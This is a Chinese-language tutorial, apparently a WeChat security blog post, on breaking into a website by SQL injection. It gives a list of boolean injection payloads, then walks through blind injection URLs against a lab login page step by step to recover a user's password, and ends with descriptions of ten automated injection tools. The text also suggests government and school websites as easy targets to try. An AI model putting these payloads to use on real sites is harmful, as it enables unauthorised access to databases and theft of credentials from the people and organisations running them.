用 sql 注入攻破一个网站

信息安全公益宣传，信息安全知识启蒙。

教程列表见微信公众号底部菜单

SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意的）SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。

黑客新手常用的sql注入就是使用一些注入工具，比如：啊D，明小子一些的简单sql注入工具。现在的网站能够用sql注入的漏洞已经很少了，一般政府和学校的网站漏洞比较多，可以作为肉鸡试一试。

下面讲一下早些年的sql简单方法：

首先我们在一个具备sql注入漏洞的网站开始实战测试（实验网站已经通知修复）

前提准备：

肉鸡网站：http://172.18.3.13:81/login.asp?name

用户名：admin 密码：admin

所需sql注入语句：

（1）判断有无注入点

; and 1=1 and 1=2

（2）猜表一般的表的名称无非是admin adminuser user pass password 等..

and 0(select count(*) from *)

and 0(select count(*) from admin) ---判断是否存在admin这张表

（3）猜帐号数目 如果遇到0

and 0

and 1

（4）猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

（5）猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

（6）猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

开始sql入侵：

SQL注入漏洞测试:

在正常用户名admin后增加一个单引号，单击"登录"

或在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

若出错，证明没有对'进行过滤，存在SQL注入漏洞

在正常用户名admin后增加一个单引号，单击"登录"

出错

在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

登录出错

登录出错，证明存在SQL注入漏洞。

1、SQL注入攻击

构造可以正常运行的目标地址

输入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1

原SQL语句为SELECT * FROM data Where uname='admin'，条件未变，但接收密码为admin' and '1=1

登录失败

输入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a

原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'

登录成功

可以正常运行的目标地址已经构造成功，此时可将1＝1部分用SQL查询语句替代，依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试

2、猜解数据库表名

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

成功，说明数据表名确为data；若不成功，则可反复测试，直至成功猜出表名

3、猜解数据库字段名

http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a

若用户名字段确为uname，则提示登录成功

同理可猜出密码字段为upass

猜测用户名字段为name，登录出错

猜测用户名字段为uname，登录成功

说明数据库中用户名字段为uname

猜测密码字段为upass，登录成功

说明数据库中密码字段为upass

4、猜解密码长度

已知有一用户名为"wucm"，首先猜其密码长度大于1

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

成功，说明用户"wucm"的密码大于1， 继续猜测密码长度小于10

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)0 and 'a'='a

成功，说明"wucm"的密码长度小于10位，继续猜测其密码长度小于5

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)0 and 'a'='a

出错，说明"wucm"的密码长度大于5位，继续猜测其密码长度大于8位

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

出错，说明"wucm"的密码长度小于8位，继续猜测其密码长度等于6位

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

成功，说明"wucm"的密码长度为6位

5、猜解密码

根据前面的测试我们已经知道该用户的密码长度位6位，接下来对密码进行逐位猜测：

首先测试第一位是否为数字

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)0 and 'a'='a

出错，说明密码第一位不是数字， 测试是否位字母

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

成功，基本说明密码第一位是字母， 接下来重复测试，不断缩小字母范围，最后确定密码第一位为字母"w"

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

成功，说明密码第一位位"w"

同理对6位密码逐位进行猜测，最后得到密码为"wcm987"

至此我们就猜测出用户"wucm"的密码为"wcm987"，进行登陆测试：

登录成功，证明整个猜测过程和最后得出的密码都是正确的。

10款 SQL 注入工具

1、BSQL Hacker

BSQL Hacker是由Portcullis实验室开发的，BSQL Hacker 是一个SQL自动注入工具（支持SQL盲注），其设计的目的是希望能对任何的数据库进行SQL溢出注入。 BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群。BSQL Hacker可自动对Oracle和MySQL数据库进行攻击，并自动提取数据库的数据和架构。

2、The Mole

The Mole是一款开源的自动化SQL注入工具，其可绕过IPS/IDS（入侵防御系统/入侵检测系统）。只需提供一个URL和一个可用的关键字，它就能够检测注入点并利用。The Mole可以使用union注入技术和基于逻辑查询的注入技术。The Mole攻击范围包括SQL Server、MySQL、Postgres和Oracle数据库。

3、Pangolin

Pangolin是一款帮助渗透测试人员进行SQL注入(SQL Injeciton)测试的安全工具。Pangolin与JSky（Web应用安全漏洞扫描器、Web应用安全评估工具）都是NOSEC公司的产品。Pangolin具备友好的图形界面以及支持测试几乎所有数据库（Access、MSSql、MySql、Oracle、Informix、DB2、Sybase、PostgreSQL、Sqlite）。Pangolin能够通过一系列非常简单的操作，达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。Pangolin是目前国内使用率最高的SQL注入测试的安全软件。

4、Sqlmap

Sqlmap是一个自动SQL 注入工具。其可胜任执行一个广泛的数据库管理系统后端指纹，检索DBMS数据库、usernames、表格、列、并列举整个DBMS信息。Sqlmap提供转储数据库表以及MySQL、PostgreSQL、SQL Server服务器下载或上传任何文件并执行任意代码的能力。

5、Havij

Havij是一款自动化的SQL注入工具，它能够帮助渗透测试人员发现和利用Web应用程序的SQL注入漏洞。Havij不仅能够自动挖掘可利用的SQL 查询，还能够识别后台数据库类型、检索数据的用户名和密码hash、转储表和列、从数据库中提取数据，甚至访问底层文件系统和执行系统命令，当然前提是有 一个可利用的SQL注入漏洞。Havij支持广泛的数据库系统，如 MsSQL, MySQL, MSAccess and Oracle。 Havij支持参数配置以躲避IDS，支持代理，后台登陆地址扫描。

6、Enema SQLi

Enema SQLi与其他 SQL注入工具不同的是，Enema SQLi不是自动的，想要使用Enema SQLi需要一定的相关知识。Enema SQLi能够使用用户自定义的查询以及插件对SQL Server和MySQL数据库进行攻击。支持基于error-based、Union-based和blind time-based的注入攻击。

7、SQLninja

SQLninja软件用Perl编写，符合GPLv2标准。SQLninja的目的是利用Web应用程序中的SQL注入式漏洞，它依靠微软的SQL Server作为后端支持。其主要的目标是在存在着漏洞的数据库服务器上提供一个远程的外壳，甚至在一个有着严格的防范措施的环境中也能如此。在一个SQL注入式漏洞被发现以后，企业的管理员特别是渗透攻击的测试人员应当使用它，它能自动地接管数据库服务器。现在市场上有许多其它的SQL注入式漏洞工具，但SQLninja与其它工具不同，它无需抽取数据，而着重于在远程数据库服务器上获得一个交互式的外壳，并将它用作目标网络中的一个立足点。

8、sqlsus

sqlsus是一个开放源代码的MySQL注入和接管工具，sqlsus使用perl编写并基于命令行界面。sqlsus可以获取数据库结构，注入你自己的SQL语句，从服务器下载文件，爬行web站点可写目录，上传和控制后门，克隆数据库等。

9、Safe3 SQL Injector

Safe3 SQL Injector是一个最强大和最易使用的渗透测试工具，它可以自动检测和利用SQL注入漏洞和数据库服务器的过程中。Safe3 SQL Injector具备读取MySQL、Oracle、PostgreSQL、SQL Server、Access、SQLite、Firebird、Sybase、SAP MaxDB等数据库的能力。同时支持向MySQL、SQL Server写入文件，以及SQL Server和Oracle中执行任意命令。Safe3 SQL Injector也支持支持基于error-based、Union-based和blind time-based的注入攻击。

10、SQL Poizon

SQL Poizon的图形界面使用户无需深厚的专业知识便能够进行攻击，SQL Poizon扫描注入工具内置浏览器可帮助查看注入攻击带来的影响。SQL Poizon充分利用搜索引擎“dorks”扫描互联网中存在SQL注入漏洞的网站。